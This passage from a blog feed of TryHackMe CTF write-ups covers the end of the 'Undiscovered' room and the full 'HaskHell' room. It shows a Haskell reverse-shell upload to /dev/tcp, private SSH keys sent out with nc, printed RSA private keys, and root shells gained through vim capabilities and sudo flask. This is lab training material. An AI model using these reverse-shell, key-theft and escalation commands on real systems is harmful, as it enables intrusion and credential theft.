</pre><p>Then copy public key in</p><pre>$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>william@Zain:/mnt/wi$ ls<br>admin.sh  script  user.txt<br>william@Zain:/mnt/wi$ mkdir .ssh<br>william@Zain:/mnt/wi$ cd .ssh/<br>william@Zain:/mnt/wi/.ssh$ cat /home/CTF/Undiscovered/william_ssh.pub &gt; authorized_keys</pre><p>Let’s access with ssh -i private_key</p><pre>root@Zain:/home/CTF/Undiscovered# chmod 600 william_ssh<br>root@Zain:/home/CTF/Undiscovered# ssh -i william_ssh william@10.10.7.117<br>The authenticity of host &#39;10.10.7.117 (10.10.7.117)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:0ksd7ve03T/DLd54sg0vUZNd72YgJT1g2iL1CP0r9+Y.<br>This key is not known by any other names<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.10.7.117&#39; (ED25519) to the list of known hosts.<br>Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-189-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br><br>0 packages can be updated.<br>0 updates are security updates.<br><br><br>Last login: Thu Sep 10 00:35:09 2020 from 192.168.0.147<br>william@undiscovered:~$ id<br>uid=3003(william) gid=3003(william) groups=3003(william)<br>william@undiscovered:~$ </pre><p>Let’s run script file to get ssh key from leonard home directory</p><pre>william@undiscovered:~$ ./script /home/leonard/.ssh/id_rsa<br>/bin/cat: /home/leonard//home/leonard/.ssh/id_rsa: No such file or directory<br>william@undiscovered:~$ ./script .ssh/id_rsa<br>-----BEGIN RSA PRIVATE KEY-----<br>MIIEogIBAAKCAQEAwErxDUHfYLbJ6rU+r4oXKdIYzPacNjjZlKwQqK1I4JE93rJQ<br>HEhQlurt1Zd22HX2zBDqkKfvxSxLthhhArNLkm0k+VRdcdnXwCiQqUmAmzpse9df<br>YU/UhUfTu399lM05s2jYD50A1IUelC1QhBOwnwhYQRvQpVmSxkXBOVwFLaC1AiMn<br>SqoMTrpQPxXlv15Tl86oSu0qWtDqqxkTlQs+xbqzySe3y8yEjW6BWtR1QTH5s+ih<br>hT70DzwhCSPXKJqtPbTNf/7opXtcMIu5o3JW8Zd/KGX/1Vyqt5ememrwvaOwaJrL<br>+ijSn8sXG8ej8q5FidU2qzS3mqasEIpWTZPJ0QIDAQABAoIBAHqBRADGLqFW0lyN<br>C1qaBxfFmbc6hVql7TgiRpqvivZGkbwGrbLW/0Cmes7QqA5PWOO5AzcVRlO/XJyt<br>+1/VChhHIH8XmFCoECODtGWlRiGenu5mz4UXbrVahTG2jzL1bAU4ji2kQJskE88i<br>72C1iphGoLMaHVq6Lh/S4L7COSpPVU5LnB7CJ56RmZMAKRORxuFw3W9B8SyV6UGg<br>Jb1l9ksAmGvdBJGzWgeFFj82iIKZkrx5Ml4ZDBaS39pQ1tWfx1wZYwWw4rXdq+xJ<br>xnBOG2SKDDQYn6K6egW2+aNWDRGPq9P17vt4rqBn1ffCLtrIN47q3fM72H0CRUJI<br>Ktn7E2ECgYEA3fiVs9JEivsHmFdn7sO4eBHe86M7XTKgSmdLNBAaap03SKCdYXWD<br>BUOyFFQnMhCe2BgmcQU0zXnpiMKZUxF+yuSnojIAODKop17oSCMFWGXHrVp+UObm<br>L99h5SIB2+a8SX/5VIV2uJ0GQvquLpplSLd70eVBsM06bm1GXlS+oh8CgYEA3cWc<br>TIJENYmyRqpz3N1dlu3tW6zAK7zFzhTzjHDnrrncIb/6atk0xkwMAE0vAWeZCKc2<br>ZlBjwSWjfY9Hv/FMdrR6m8kXHU0yvP+dJeaF8Fqg+IRx/F0DFN2AXdrKl+hWUtMJ<br>iTQx6sR7mspgGeHhYFpBkuSxkamACy9SzL6Sdg8CgYATprBKLTFYRIUVnZdb8gPg<br>zWQ5mZfl1leOfrqPr2VHTwfX7DBCso6Y5rdbSV/29LW7V9f/ZYCZOFPOgbvlOMVK<br>3RdiKp8OWp3Hw4U47bDJdKlK1ZodO3PhhRs7l9kmSLUepK/EJdSu32fwghTtl0mk<br>OGpD2NIJ/wFPSWlTbJk77QKBgEVQFNiowi7FeY2yioHWQgEBHfVQGcPRvTT6wV/8<br>jbzDZDS8LsUkW+U6MWoKtY1H1sGomU0DBRqB7AY7ON6ZyR80qzlzcSD8VsZRUcld<br>sjD78mGZ65JHc8YasJsk3br6p7g9MzbJtGw+uq8XX0/XlDwsGWCSz5jKFDXqtYM+<br>cMIrAoGARZ6px+cZbZR8EA21dhdn9jwds5YqWIyri29wQLWnKumLuoV7HfRYPxIa<br>bFHPJS+V3mwL8VT0yI+XWXyFHhkyhYifT7ZOMb36Zht8yLco9Af/xWnlZSKeJ5Rs<br>LsoGYJon+AJcw9rQaivUe+1DhaMytKnWEv/rkLWRIaiS+c9R538=<br>-----END RSA PRIVATE KEY-----<br>william@undiscovered:</pre><p>Let’s add it on my machine and get access with leonard SSH</p><pre>root@Zain:/home/CTF/Undiscovered# chmod 600 leonard <br>root@Zain:/home/CTF/Undiscovered# ssh -i leonard leonard@10.10.7.117<br>Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-189-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br><br>0 packages can be updated.<br>0 updates are security updates.<br><br><br>Last login: Fri Sep  4 22:57:43 2020 from 192.168.68.129<br>leonard@undiscovered:~$ id<br>uid=1002(leonard) gid=1002(leonard) groups=1002(leonard),3004(developer)<br>leonard@undiscovered:~$  ll<br>total 36<br>drwxr-x--- 5 leonard leonard 4096 Sep  9  2020 ./<br>drwxr-xr-x 4 root    root    4096 Sep  4  2020 ../<br>-rw------- 1 root    root       0 Sep  9  2020 .bash_history<br>-rw-r--r-- 1 leonard leonard 3771 Sep  4  2020 .bashrc<br>drwx------ 2 leonard leonard 4096 Sep  4  2020 .cache/<br>drwxrwxr-x 2 leonard leonard 4096 Sep  4  2020 .nano/<br>-rw-r--r-- 1 leonard leonard   43 Sep  4  2020 .profile<br>drwx------ 2 leonard leonard 4096 Sep  4  2020 .ssh/<br>-rw------- 1 leonard leonard 6132 Sep  4  2020 .viminfo</pre><p>got access with leonard user</p><p>Trying get SUID permissions and Capabilities.</p><pre>william@undiscovered:~$ find / -perm -4000 2&gt;/dev/null | grep -v &quot;snap&quot;<br>/home/william/script<br>/bin/ping6<br>/bin/fusermount<br>/bin/umount<br>/bin/ping<br>/bin/su<br>/bin/mount<br>/sbin/mount.nfs<br>/usr/bin/chfn<br>/usr/bin/at<br>/usr/bin/newgrp<br>/usr/bin/newgidmap<br>/usr/bin/chsh<br>/usr/bin/pkexec<br>/usr/bin/gpasswd<br>/usr/bin/newuidmap<br>/usr/bin/passwd<br>/usr/bin/sudo<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic<br>william@undiscovered:~$ getcap -r / 2&gt;/dev/null<br>/usr/bin/mtr = cap_net_raw+ep<br>/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep<br>/usr/bin/traceroute6.iputils = cap_net_raw+ep<br>/usr/bin/vim.basic = cap_setuid+ep                &lt;======== interesting<br>william@undiscovered:~$</pre><p>There’s Capabilities on vim <br>See <a href="https://gtfobins.github.io/gtfobins/vim/#capabilities"><em>GTFOBins</em></a> for vim Capabilities execute root shell</p><pre>./vim -c &#39;:py import os; os.setuid(0); os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;reset; exec sh&quot;)&#39;</pre><pre>william@undiscovered:~$ which vim.basic<br>william@undiscovered:~$ ls -l /usr/bin/vim.basic<br>-rwxr-xr-- 1 root developer 2437320 Mar 19  2020 /usr/bin/vim.basic<br>william@undiscovered:~$ </pre><p>Found but need developer group users : leonard</p><pre>leonard@undiscovered:~$ /usr/bin/vim.basic -c &#39;:py3 import os; os.setuid(0); os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;reset; exec sh&quot;)&#39;<br>^[[2;2R^[]11;rgb:2222/2121/2121^G# <br>sh: 1: ot found<br>sh: 1: 2R: not found<br># id<br>uid=0(root) gid=1002(leonard) groups=1002(leonard),3004(developer)<br># cd /root<br># ls<br>root.txt<br># cat *<br>  _    _           _ _                                     _ <br> | |  | |         | (_)                                   | |<br> | |  | |_ __   __| |_ ___  ___ _____   _____ _ __ ___  __| |<br> | |  | | &#39;_ \ / _` | / __|/ __/ _ \ \ / / _ \ &#39;__/ _ \/ _` |<br> | |__| | | | | (_| | \__ \ (_| (_) \ V /  __/ | |  __/ (_| |<br>  \____/|_| |_|\__,_|_|___/\___\___/ \_/ \___|_|  \___|\__,_|<br>      <br>             THM{8d7b7299cccd1796a61915901d0e091c}<br><br>#</pre><p>Here we got root Privilege.<br>Remember only hash of root is require :D</p><p>Thank you for following :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=113364c7b572" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe - HaskHell CTF]]></title>
            <link>https://medium.com/@3zain21/tryhackme-haskhell-ctf-ce25f3776857?source=rss-2a6c3260dcfb------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce25f3776857</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Zain]]></dc:creator>
            <pubDate>Sat, 13 Jul 2024 23:25:28 GMT</pubDate>
            <atom:updated>2024-07-13T23:25:28.387Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*yksKYQD-0yWkQxw6.png" /></figure><p><a href="https://tryhackme.com/r/room/haskhell">HaskHell</a></p><p>We are tasked with finding two flags that are hidden across the target system.</p><p>Connect to the TryHackMe networking using your .ovpn file.</p><pre>sudo openvpn your_tryhackme_vpn.ovpn</pre><h3>Reconnaissance</h3><p>Let’s discover the services that are running on the target I performed a port scan.</p><pre>nmap -sS -p- -n -Pn --min-rate=9362 $IP<br>nmap -A -p $Port $IP</pre><p>-sS: This option specifies a SYN scan</p><p>-p-: This option tells nmap to scan all 65,535 ports.</p><p>-n: This option is speeds up the scan by avoiding DNS resolution.</p><p>-Pn: This option disables host discovery, treating all hosts as online. This is useful for scanning hosts that may be blocking ICMP ping requests.</p><p>--min-rate=9362: This option sets the minimum number of packets per second to be sent during the scan. This speeds up the scan but may increase the likelihood of being detected by security systems.</p><p>-A: This option enables OS detection, version detection, script scanning, and traceroute.</p><pre>root@Zain:/home/CTF/HaskHell# ./../port_scan.sh 10.10.107.212<br>Running command: nmap -sS -p- -n -Pn --min-rate=9362 10.10.107.212<br>Running command: nmap -A -p 22,5001 10.10.107.212<br>Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-13 23:29 EEST<br>Nmap scan report for 10.10.107.212<br>Host is up (0.066s latency).<br><br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 1d:f3:53:f7:6d:5b:a1:d4:84:51:0d:dd:66:40:4d:90 (RSA)<br>|   256 26:7c:bd:33:8f:bf:09:ac:9e:e3:d3:0a:c3:34:bc:14 (ECDSA)<br>|_  256 d5:fb:55:a0:fd:e8:e1:ab:9e:46:af:b8:71:90:00:26 (ED25519)<br>5001/tcp open  http    Gunicorn 19.7.1<br>|_http-server-header: gunicorn/19.7.1<br>|_http-title: Homepage<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 22/tcp)<br>HOP RTT      ADDRESS<br>1   93.14 ms 10.9.0.1<br>2   93.21 ms 10.10.107.212<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 26.94 seconds<br>root@Zain:/home/CTF/HaskHell# </pre><p>Ports 22, 5001 are open on the target, and more details.</p><h3>Enumeration</h3><p>Web server running on 5001 port may be Flask web app,<br>Let’s enumeration and get any data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EoKu-6UHcutBrQNoxO_mXA.png" /><figcaption>home page</figcaption></figure><p>It’s look like web page for submit homework for students<br>and this homework about Haskell language : <a href="https://www.haskell.org/documentation/">Documentation</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PojbdERcwkDJChGC6jwBPQ.png" /><figcaption>homework page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3OSlvyS6M99Hp0MpKgfMg.png" /></figure><p>upload page Not Found !!!</p><p>Let’s using gobuster for hidden Pages and directories.</p><pre>root@Zain:/home/CTF/HaskHell# gobuster dir -u http://10.10.107.212:5001/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.107.212:5001/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/submit               (Status: 200) [Size: 237]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vojksFts6j5rgGzA7gmLvw.png" /></figure><p>It’s upload page !! instead of /upload page</p><h3>Exploitation</h3><p>Let’s try learn about Haskell language : <a href="https://www.haskell.org/documentation/">Documentation</a><br>and learn how execute system command with Haskell.</p><pre>import System.Process<br><br>main :: IO ()<br>main = do<br>    -- Execute a simple command<br>    callCommand &quot;ls -la&quot;</pre><p>Haskell script that uses the callCommand which creates a new process to run the specified shell command.<br>Let’s try upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*ZBBDKMz7QJRpAIOdcJ6-jw.png" /></figure><p>Redirecting to uploads directory and execute this script !!<br>Let’s upload another script contain reverse shell command with bash or nc or python3, Let’s check which is exist.</p><pre>import System.Process<br><br>main :: IO ()<br>main = do<br>    -- Execute a simple command<br>    callCommand &quot;which bash; which python3; which nc&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*OBsDwjqAFISmTx8dhYQvcw.png" /></figure><p>All is exist, Let’s upload new script to get reverse connection with bash</p><pre>root@Zain:/home/CTF/HaskHell# cat shell.hs <br>import System.Process<br><br>main :: IO ()<br>main = do<br>    -- Execute a simple command<br>    callCommand &quot;bash -i &gt;&amp; /dev/tcp/10.9.0.24/8888 0&gt;&amp;1&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*DkqAVM0hhRJOSe4TsrUC6Q.png" /></figure><p>Got Syntax error !!😅<br>Let’s use createProcess and shell to run the command within a new shell instance, This method captures and waits for the process to finish.</p><pre>import System.Process<br>import System.IO<br><br>main :: IO ()<br>main = do<br>    -- Execute the reverse shell command<br>    (_, _, _, ph) &lt;- createProcess (shell &quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.9.0.24/8888 0&gt;&amp;1&#39;&quot;)<br>    waitForProcess ph<br>    return ()</pre><p>Uploading and waiting to get connection back.</p><pre>root@Zain:/home/CTF/HaskHell# nc -lvnp 8888<br>Listening on 0.0.0.0 8888<br><br>Connection received on 10.10.107.212 43320<br>bash: cannot set terminal process group (804): Inappropriate ioctl for device<br>bash: no job control in this shell<br>flask@haskhell:~$ <br>flask@haskhell:~$ id<br>id<br>uid=1001(flask) gid=1001(flask) groups=1001(flask)<br>flask@haskhell:~$ </pre><p>Let’s try get user flag.</p><pre>flask@haskhell:~$ find / -name user.txt 2&gt;/dev/null<br>find / -name user.txt 2&gt;/dev/null<br>/home/prof/user.txt<br>flask@haskhell:~$</pre><h3>Privilege Escalation</h3><p>Let’s search on SUID permissions and capabilities and crontab file</p><pre>flask@haskhell:~$ find / -perm -4000 2&gt;/dev/null |grep -v &quot;snap&quot;<br>find / -perm -4000 2&gt;/dev/null |grep -v &quot;snap&quot;<br>/bin/fusermount<br>/bin/umount<br>/bin/ping<br>/bin/mount<br>/bin/su<br>/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/bin/passwd<br>/usr/bin/newgidmap<br>/usr/bin/pkexec<br>/usr/bin/newgrp<br>/usr/bin/newuidmap<br>/usr/bin/sudo<br>/usr/bin/at<br>/usr/bin/chfn<br>/usr/bin/chsh<br>/usr/bin/gpasswd<br>/usr/bin/traceroute6.iputils<br>flask@haskhell:~$ getcap -r / 2&gt;/dev/null<br>getcap -r / 2&gt;/dev/null<br>flask@haskhell:~$ cat /etc/crontab<br>cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br><br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br><br># m h dom mon dow user command<br>17 * * * * root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6 * * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6 1 * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>#<br>flask@haskhell:~$ </pre><p>Let’s see important files in /home</p><pre>flask@haskhell:/home$ ls -lRa prof<br>ls -lRa prof<br>prof:<br>total 44<br>drwxr-xr-x 7 prof prof 4096 May 27  2020 .<br>drwxr-xr-x 5 root root 4096 May 27  2020 ..<br>-rw-r--r-- 1 prof prof  220 Apr  4  2018 .bash_logout<br>-rw-r--r-- 1 prof prof 3771 Apr  4  2018 .bashrc<br>drwx------ 2 prof prof 4096 May 27  2020 .cache<br>drwx------ 4 prof prof 4096 May 27  2020 .gnupg<br>drwxrwxr-x 3 prof prof 4096 May 27  2020 .local<br>-rw-r--r-- 1 prof prof  807 Apr  4  2018 .profile<br>drwxrwxr-x 2 prof prof 4096 May 27  2020 __pycache__<br>drwxr-xr-x 2 prof prof 4096 May 27  2020 .ssh<br>-rw-r--r-- 1 root root   26 May 27  2020 user.txt<br>ls: cannot open directory &#39;prof/.cache&#39;: Permission denied<br>ls: cannot open directory &#39;prof/.gnupg&#39;: Permission denied<br><br>prof/.local:<br>total 12<br>drwxrwxr-x 3 prof prof 4096 May 27  2020 .<br>drwxr-xr-x 7 prof prof 4096 May 27  2020 ..<br>drwx------ 3 prof prof 4096 May 27  2020 share<br>ls: cannot open directory &#39;prof/.local/share&#39;: Permission denied<br><br>prof/__pycache__:<br>total 16<br>drwxrwxr-x 2 prof prof 4096 May 27  2020 .<br>drwxr-xr-x 7 prof prof 4096 May 27  2020 ..<br>-rw-r--r-- 1 root root  424 May 27  2020 app.cpython-36.pyc<br>-rw-rw-r-- 1 prof prof  425 May 27  2020 wsgi.cpython-36.pyc<br><br>prof/.ssh:<br>total 20<br>drwxr-xr-x 2 prof prof 4096 May 27  2020 .<br>drwxr-xr-x 7 prof prof 4096 May 27  2020 ..<br>-rw-rw-r-- 1 prof prof  395 May 27  2020 authorized_keys<br>-rw-r--r-- 1 prof prof 1679 May 27  2020 id_rsa      &lt;============= interesting<br>-rw-r--r-- 1 prof prof  395 May 27  2020 id_rsa.pub<br><br>flask@haskhell:/home/prof/.ssh$ cat id_rsa.p*<br>cat id_rsa.p*<br>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTrwTrHz+8xxRyK3H3NehawXxaOYEHThWAaSU1AJIQe3MD1yv3itilQ9zHHFjLD90CKLRbqytC5EIBtDE7kOL62/1pZeYEYwS3T/e04TsPT1GFkZBvryUAUONJIlpWVXM+L7Bqi3I/ZxxUkONeTArQoibpGwAIg6Ez0a0jbDJnq86Diyw1v7tRjrSI6Rw4BY/T06bONzaruFwToK5Xp/v6I5tqZ8aVnhBDki9SPR61K0MPqJRZBfi9h7BipTPxt51xwW+kLq4/YUa8M41hestZa5rvCXBKA6p5dfGQbt/FWphjb77plWbxETtOk83GxA0PCmfE6LBPEYyAKsgzGBFX prof@haskhell<br>flask@haskhell:/home/prof/.ssh$ cat id_rsa<br>cat id_rsa<br>-----BEGIN RSA PRIVATE KEY-----<br>MIIEpAIBAAKCAQEA068E6x8/vMcUcitx9zXoWsF8WjmBB04VgGklNQCSEHtzA9cr<br>94rYpUPcxxxYyw/dAii0W6srQuRCAbQxO5Di+tv9aWXmBGMEt0/3tOE7D09RhZGQ<br>b68lAFDjSSJaVlVzPi+waotyP2ccVJDjXkwK0KIm6RsACIOhM9GtI2wyZ6vOg4ss<br>Nb+7UY60iOkcOAWP09Omzjc2q7hcE6CuV6f7+iObamfGlZ4QQ5IvUj0etStDD6iU<br>WQX4vYewYqUz8bedccFvpC6uP2FGvDONYXrLWWua7wlwSgOqeXXxkG7fxVqYY2++<br>6ZVm8RE7TpPNxsQNDwpnxOiwTxGMgCrIMxgRVwIDAQABAoIBAQCTLXbf+wQXvtrq<br>XmaImQSKRUiuepjJeXLdqz1hUpo7t3lKTEqXfAQRM9PG5GCgHtFs9NwheCtGAOob<br>wSsR3TTTci0JIP4CQs4+nez96DNl+6IUmhawcDfrtlGwwZ/JsvPDYujnyziN+KTr<br>7ykGoRxL3tHq9Qja4posKzaUEGAjTz8NwrhzB6xatsmcWBV0fFoWzpS/xWzW3i7F<br>gAoYxc6+4s5bKHsJima2Aj5F3XtHfipkMdBvbl+sjGllgiQn/oEjYMIX5wc7+se2<br>o7FERO2oy3I5jUOlULsr9BwQpNFA2Qenc4Wc7ghb0LfCVaUs/RHQ7IQ4F3yp/G67<br>54oLue6hAoGBAPCe+WsnOXzhwQ9WXglhfztDR1lcwSFMeHZpcxYUVqmVEi2ZMLll<br>B67SCri9lHHyvBtrH7YmZO5Q9UcGXdLCZGmbkJUdX2bjqV0zwwx1qOiVY8LPnZSJ<br>LJN+0p1dRHsO3n4vTHO8mVuiM5THi6pcgzSTggIhS+e1ks7nlQKiBuD/AoGBAOE2<br>kwAMtvI03JlkjvOHsN5IhMbOXP0zaRSrKZArDCcqDojDL/AQltQkkLtQPdUPJgdY<br>3gOkUJ2BCHNlIsAtUjrTj+T76N512rO2sSidOEXRDCc+g/QwdgENiq/w9JroeWFc<br>g9qM3f2cl/EkjxRgiyuTfK6mbzcuMSveX4LfCXepAoGAd2MZc+4ZWvoUNUzwCY2D<br>eF8QVqlr9d6gYng9rvXWbfvV8iPxBfu3zSjQQwtlTQhYBu6m5FS2fXxTxrLE+J6U<br>/cU+/o19WWqaDPFy1IrIjOYagn1KvXk2UdR6IbQ2FyywfkFvmHk6Sjn3h9leVd/j<br>BcIunmnw5H214s0KpSzJZvcCgYA5Ca9VNeMnmIe+OZ+Swezjfw5Ro3YdkmWsnGTc<br>ZGqhiJ9Bt91uOWVZuSEGr53ZVgrVlYY0+eqI2WMghp60eUX4LBinb71cihCnrz9S<br>/+5+kCE51zVoJNXeEmXrhWUNzo7fP6UNNtwKHRzGL/IkwQa+NI5BVVmZahN9/sXF<br>yWMGcQKBgQDheyI7eKTDMsrEXwMUpl5aiwWPKJ0gY/2hS0WO3XGQtx6HBwg6jJKw<br>MMn8PNqYKF3DWex59PYiy5ZL1pUG2Y+iadGfIbStSZzN4nItF5+yC42Q2wlhtwgt<br>i4MU8bepL/GTMgaiR8RmU2qY7wRxfK2Yd+8+GDuzLPEoS7ONNjLhNA==<br>-----END RSA PRIVATE KEY-----<br>flask@haskhell:/home$</pre><p>home directory prof found id_rsa files<br>it’s contain public and private keys for SSH,<br>Let’s add this keys on my machine with nc and try access with user prof .</p><pre>flask@haskhell:/home/prof/.ssh$ nc 10.9.0.24 1234 &lt; id_rsa<br>nc 10.9.0.24 1234 &lt; id_rsa<br>flask@haskhell:/home/prof/.ssh$ nc 10.9.0.24 1234 &lt; id_rsa.pub<br>nc 10.9.0.24 1234 &lt; id_rsa.pub<br>flask@haskhell:/home/prof/.ssh$ nc 10.9.0.24 1234 &lt; authorized_keys<br>nc 10.9.0.24 1234 &lt; authorized_keys</pre><p>Let’s try access with username prof on SSH<br>use chmod to give the file 600 permissions.</p><pre>root@Zain:~/.ssh$ chmod 600 id_rsa<br>root@Zain:~/.ssh$ ssh -i id_rsa prof@10.10.107.212<br>Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>  System information as of Sat Jul 13 22:52:52 UTC 2024<br><br>  System load:  0.08               Processes:           126<br>  Usage of /:   26.2% of 19.56GB   Users logged in:     0<br>  Memory usage: 52%                IP address for eth0: 10.10.107.212<br>  Swap usage:   0%<br><br><br>39 packages can be updated.<br>0 updates are security updates.<br><br><br>Last login: Wed May 27 18:45:06 2020 from 192.168.126.128<br>$ id<br>uid=1002(prof) gid=1002(prof) groups=1002(prof)<br>$ </pre><h3>Root Privilege Escalation</h3><p>check to see what commands can be run with root privileges using sudo -l</p><pre>$ sudo -l<br>Matching Defaults entries for prof on haskhell:<br>    env_reset, env_keep+=FLASK_APP, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User prof may run the following commands on haskhell:<br>    (root) NOPASSWD: /usr/bin/flask run<br><br><br>$ python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;);&#39;<br>prof@haskhell:~$ <br>prof@haskhell:~$ ls -l /usr/bin/flask<br>-rwxr-xr-x 1 root root 375 Jan 15  2018 /usr/bin/flask<br>prof@haskhell:~$ cat /usr/bin/flask<br>#!/usr/bin/python3<br># EASY-INSTALL-ENTRY-SCRIPT: &#39;Flask==0.12.2&#39;,&#39;console_scripts&#39;,&#39;flask&#39;<br>__requires__ = &#39;Flask==0.12.2&#39;<br>import re<br>import sys<br>from pkg_resources import load_entry_point<br><br>if __name__ == &#39;__main__&#39;:<br>    sys.argv[0] = re.sub(r&#39;(-script\.pyw?|\.exe)?$&#39;, &#39;&#39;, sys.argv[0])<br>    sys.exit(<br>        load_entry_point(&#39;Flask==0.12.2&#39;, &#39;console_scripts&#39;, &#39;flask&#39;)()<br>    )<br></pre><p>We have sudo privilege on /usr/bin/flask</p><pre>prof@haskhell:~$ sudo /usr/bin/flask run<br>Usage: flask run [OPTIONS]<br><br>Error: Could not locate Flask application. You did not provide the FLASK_APP environment variable.<br><br>For more information see http://flask.pocoo.org/docs/latest/quickstart/<br>prof@haskhell:~$</pre><p>the FLASK_APP environment variable is used to specify how to load the application.<br>can use this environment variable to specify a script which will then be executed with root privileges.</p><pre>prof@haskhell:~$ vim script.py<br>prof@haskhell:~$ <br><br>prof@haskhell:~$ cat script.py<br>import pty;pty.spawn(&quot;/bin/bash&quot;)<br>prof@haskhell:~$ export FLASK_APP=script.py<br>prof@haskhell:~$ sudo /usr/bin/flask run<br>root@haskhell:~# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@haskhell:~#</pre><p>Now you can successfully get Root access to that machine. Explore a little bit and submit the second flag.</p><p>Thank you for following :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce25f3776857" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe - Opacity CTF]]></title>
            <link>https://medium.com/@3zain21/tryhackme-opacity-ctf-70d231777709?source=rss-2a6c3260dcfb------2</link>
            <guid isPermaLink="false">https://medium.com/p/70d231777709</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Zain]]></dc:creator>
            <pubDate>Fri, 12 Jul 2024 22:53:19 GMT</pubDate>
            <atom:updated>2024-07-12T22:59:23.086Z</atom:updated>
